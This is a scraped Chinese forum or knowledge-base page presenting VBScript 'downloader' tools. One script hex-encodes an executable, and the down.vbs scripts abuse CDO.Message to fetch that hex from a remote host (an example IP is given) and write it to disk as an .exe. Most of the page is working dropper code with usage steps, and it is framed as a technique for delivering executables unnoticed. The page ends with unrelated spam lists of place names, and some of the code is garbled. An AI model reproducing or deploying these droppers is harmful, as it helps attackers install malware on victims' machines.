佳木斯湛栽影视文化发展公司

主頁 > 知識庫 > 最新版利用CDO.Message做的vbs下載者

最新版利用CDO.Message做的vbs下載者

熱門標(biāo)簽:服務(wù)器配置 呼叫中心市場需求 網(wǎng)站文章發(fā)布 美圖手機(jī) 鐵路電話系統(tǒng) 智能手機(jī) 銀行業(yè)務(wù) 檢查注冊表項(xiàng)

vbs下載者有很多了,我這里是一個偉大的發(fā)明,利用CDO.Message做的vbs下載者。偉大是裝B的意思。
NP先把代碼寫完了,詳情看這里:http://hi.baidu.com/vbs_zone/blog/item/f254871382e6d0045aaf5358.html

LCX大哥在寫他的BLOG備份腳本時發(fā)現(xiàn) CDO.MESSAGE可以訪問網(wǎng)絡(luò)下載東西,說是研究研究或許可以用來當(dāng)下載者用。
于是研究了一會。寫出個粗糙的DEMO。
exe2hex.vbs //xiaolu寫的exe2vbs ,我修改成直接拖放,轉(zhuǎn)成十六進(jìn)制
================================================

復(fù)制代碼 代碼如下:

'code by xiaolu
'change by NetPatch
on error resume next
set arg=wscript.arguments
if arg.count=0 then wscript.quit
do while 1
fname=arg(0)
err.number=0
Set Ado = CreateObject("adodb.stream")
With Ado
.Type = 1
.open
.loadfromfile fname
ss = .read
End With
if err.number>0 then
if msgbox("文件打開錯誤!",1,"File2VBS")=2 then Wscript.quit
else
exit do
end if
loop
if fname="" then Wscript.quit
Set Fso=CreateObject("Scripting.FileSystemObject")
Set File=fso.OpenTextFile(arg(0)".htm",2, True)
File.write Bin2Str(ss)
File.close
Set fso=nothing
Ado.close
set Abo=nothing
Function Bin2Str(Re)
For i = 1 To lenB(Re)
bt = AscB(MidB(Re, i, 1))
if bt 16 Then Bin2Str=Bin2Str"0"
Bin2Str=Bin2Str Hex(bt)
Next
End Function

======================================
下載者 down.vbs
=============
復(fù)制代碼 代碼如下:

on error resume next
set arg=wscript.arguments
if arg.count=0 then wscript.quit
'code by NetPatch
'cscript down.vbs http://122.136.32.55/demo.htm c:\good.exe
Set Mail1 = CreateObject("CDO.Message")
Mail1.CreateMHTMLBody arg(0),31
ss= Mail1.HTMLBody
Set Mail1 = Nothing
Set RS=CreateObject("ADODB.Recordset")
L=Len(ss)/2
RS.Fields.Append "m",205,L
RS.Open:RS.AddNew
RS("m")=ssChrB(0)
RS.Update
ss=RS("m").GetChunk(L)
Set s=CreateObject("ADODB.Stream")
with s
.Mode = 3
.Type = 1
.Open()
.Write ss
.SaveToFile arg(1),2
end with

==================================
demo.htm內(nèi)容時用exe2hex.vbs轉(zhuǎn)EXE后獲得的
使用方法:
1.exe2hex.vbs 把exe轉(zhuǎn)成十六進(jìn)制,放到網(wǎng)絡(luò)上
2.down.vbs http://xxx/demo.htm c:\good.exe


由于NP寫的不知什么原因,在我機(jī)器上執(zhí)行后生成的exe,進(jìn)程不會自動退出,我重新更新一下。
=======用下面這個hta文件來轉(zhuǎn)exe變成16進(jìn)制的html保存了。這樣也會方便一點(diǎn)。=======
復(fù)制代碼 代碼如下:

!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
html>
head>
title>package file v0.1/title>
meta http-equiv="Content-Type" content="text/html; charset=GB2312">
HTA:APPLICATION
ID="package file v0.1"
APPLICATIONNAME="package file v0.1"
VERSION="0.1"
SCROLL="no"
INNERBORDER="no"
CONTEXTMENU="yes"
CAPTION="yes"
ICON="no"
SHOWINTASKBAR="yes"
SINGLEINSTANCE="yes"
SYSMENU="yes"
MAXIMIZEBUTTON ="no"
WINDOWSTATE="normal"
NAVIGABLE="yes"
/>
SCRIPT LANGUAGE="VBScript">
function transfert()
dim filename
filename = document.getElementById("srcFile").value
if len(filename)>0 then
dim oReq
'on error resume next
'//創(chuàng)建XMLHTTP對象
set oReq = CreateObject("MSXML2.XMLHTTP")
oReq.open "get","file:\\" filename,false
oReq.send
ff = oReq.responseBody
dim u,s,kk
u = lenb(ff)
redim kk(u-1)
for i=0 to u-1
s = hex(ascb(midb(ff,i+1,1)))
if len(s)2 then
s = "0" s
end if
'kk = kk s
kk(i) = s
next
make filename,join(kk,"")
else
document.getElementById("srcFile").focus
msgbox "請選擇要壓縮的文件",16,"提示"
end if
end function
function make(filename,data)
dim htm,file
file = mid(filename,instrrev(filename,"\")+1)
htm = htm data
dim fso,f
dim this_file
this_file = file "-pf.htm"
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.OpenTextFile(this_file, 2, True)
f.Write htm
msgbox "生成文件" this_file "成功!",64,"生成"
end function
/SCRIPT>
/head>
body marginleft=0 marginright=0 onload="window.resizeTo 389,145 ">
請選擇文件:input type=file id="srcFile" style="width:260px;">br>br>
input type=button value=" 轉(zhuǎn)換 " onclick="transfert"> input type=button value=" 關(guān)閉 " onclick="window.close">
/body>
/html>

=====================再用下面這個vbs腳本來下載,把hta生成的htm放到空間上,用NP寫的那個下載生成的htm也可以,代碼更少=========
復(fù)制代碼 代碼如下:

'//保存文件
function saveFile(filename,str)
set adodbStream = CreateObject("ADODB" "." "Stream")
adodbStream.Type= 1
adodbStream.Open
adodbStream.write str
adodbStream.SaveToFile filename,2
adodbStream.Close
end function
'//VB數(shù)組轉(zhuǎn)變成二進(jìn)制格式
Function MultiByteToBinary(MultiByte)
Dim RS, LMultiByte, Binary
Const adLongVarBinary = 205
Set RS = CreateObject("ADODB.Recordset")
LMultiByte = LenB(MultiByte)
If LMultiByte>0 Then
RS.Fields.Append "mBinary", adLongVarBinary, LMultiByte
RS.Open
RS.AddNew
RS("mBinary").AppendChunk MultiByte ChrB(0)
RS.Update
Binary = RS("mBinary").GetChunk(LMultiByte)
End If
MultiByteToBinary = Binary
End Function

function exec()
'//屏蔽錯誤
on error resume Next
Set args = WScript.Arguments
if args.Count = 0 then
WScript.Echo "Usage: CScript down.vbs url c:\1.exe"
WScript.Quit 1
end If
dim data,t,kk,filename,ss
Set Mail1 = CreateObject("CDO.Message")
Mail1.CreateMHTMLBody args.Item(0) ,31
'Mail1.CreateMHTMLBody "c:\xxx\lcx.exe-pf.htm",31
ss= Mail1.HTMLBody
Set Mail1=nothing

'//得到數(shù)據(jù)
data = ss
'//得到文件名
filename = args.Item(1)
'//得到數(shù)據(jù)長度
u = len(data)
'//獲得文件數(shù)組
for i=1 to u step 2
t = mid(data,i,2)
kk = kk ChrB(clng("H" t))
next
'//轉(zhuǎn)變成二進(jìn)制格式
dataArry = MultiByteToBinary(kk)
'//保存文件
saveFile filename,dataArry

end function
exec()

標(biāo)簽:上海 新疆 河南 紅河 滄州 樂山 沈陽 長治

巨人網(wǎng)絡(luò)通訊聲明:本文標(biāo)題《最新版利用CDO.Message做的vbs下載者》,本文關(guān)鍵詞  ;如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問題,煩請?zhí)峁┫嚓P(guān)信息告之我們,我們將及時溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡(luò),涉及言論、版權(quán)與本站無關(guān)。
  • 相關(guān)文章
  • 收縮
    • 微信客服
    • 微信二維碼
    • 電話咨詢

    • 400-1100-266
    江都市| 阿拉善左旗| 仙桃市| 绥化市| 金坛市| 丰顺县| 南靖县| 柘城县| 蓬安县| 屏南县| 疏勒县| 师宗县| 仙游县| 钦州市| 慈溪市| 江孜县| 安泽县| 仲巴县| 基隆市| 泰州市| 烟台市| 凤凰县| 秭归县| 金沙县| 泾阳县| 沙田区| 临泽县| 陆川县| 秭归县| 焦作市| 南通市| 延川县| 漳州市| 达拉特旗| 赤峰市| 荆门市| 澄城县| 莆田市| 台东市| 诸城市| 永顺县|